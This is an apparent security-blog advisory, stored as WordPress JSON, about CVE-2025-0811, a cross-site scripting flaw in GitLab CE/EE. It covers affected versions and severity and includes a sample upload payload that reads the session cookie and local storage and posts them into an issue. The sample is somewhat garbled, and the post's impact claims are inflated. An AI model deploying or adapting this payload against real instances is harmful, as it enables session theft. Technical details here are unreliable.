{"id":23006,"date":"2025-04-14T05:06:10","date_gmt":"2025-04-14T05:06:10","guid":{"rendered":""},"modified":"2025-09-12T02:15:06","modified_gmt":"2025-09-12T08:15:06","slug":"cve-2025-0811-gitlab-ce-ee-vulnerability-leads-to-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-0811-gitlab-ce-ee-vulnerability-leads-to-cross-site-scripting\/","title":{"rendered":"CVE-2025-0811: GitLab CE\/EE Vulnerability Leads to Cross-Site Scripting<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

CVE-2025-0811 is a critical vulnerability that affects GitLab CE\/EE across multiple versions. This vulnerability, if successfully exploited, can lead to cross-site scripting (XSS), potentially compromising the system and leading to data leakage. Given GitLab’s popularity as a web-based DevOps lifecycle tool, this issue pertains to a broad number of users<\/a> and organizations worldwide. The severity of this vulnerability<\/a>, coupled with the widespread usage of GitLab, underscores the urgent need for its mitigation.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-0811
\nSeverity: High (8.7 CVSS score)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: Required
\nImpact: System compromise<\/a>, potential data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

GitLab CE | 17.7 to 17.8.5
\nGitLab EE | 17.7 to 17.8.5
\nGitLab CE | 17.9 to 17.9.2
\nGitLab EE | 17.9 to 17.9.2
\nGitLab CE | 17.10 to 17.10.0
\nGitLab EE | 17.10 to 17.10.0<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability stems from improper rendering of certain file<\/a> types in GitLab CE\/EE. An attacker can exploit this by crafting a malicious file in one of these types and uploading<\/a> it to a GitLab instance. When this file is rendered, the malicious code embedded within it is executed<\/a>, leading to a cross-site scripting (XSS) attack. This potentially allows an attacker to execute arbitrary<\/a> scripts in the context of the user’s browser session, which can lead to a complete system compromise or data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here’s a conceptual example of how the vulnerability could be exploited using a malicious JavaScript file:<\/a><\/p>\n

POST \/uploads HTTP\/1.1\nHost: target.gitlab.com\nContent-Type: text\/javascript\n<script>\n\/\/ Malicious JavaScript code\nfetch('\/api\/v4\/projects\/1\/issues', {\nmethod: 'POST',\nheaders: {\n'Content-Type': 'application\/json',\n'Private-Token': document.cookie.match(\/_gitlab_session=\\w+\/)[0]\n},\nbody: JSON.stringify({\ntitle: 'Issue created by XSS',\ndescription: 'Sensitive data: ' + localStorage.getItem('sensitive_data')\n})\n});\n<\/script><\/code><\/pre>\n
In this example, the attacker uploads a JavaScript file that fetches the GitLab session<\/a> cookie and uses it to create a new issue in one of the projects, adding sensitive data from the local storage as the description. This could lead to a potential data breach or system<\/a> compromise.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview CVE-2025-0811 is a critical vulnerability that affects GitLab CE\/EE across multiple versions. This vulnerability, if successfully exploited, can lead to cross-site scripting (XSS), potentially compromising the system and leading to data leakage. Given GitLab’s popularity as a web-based DevOps lifecycle tool, this issue pertains to a broad number of users and organizations worldwide. The […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[102],"product":[],"attack_vector":[81],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-23006","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-gitlab","attack_vector-xss"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t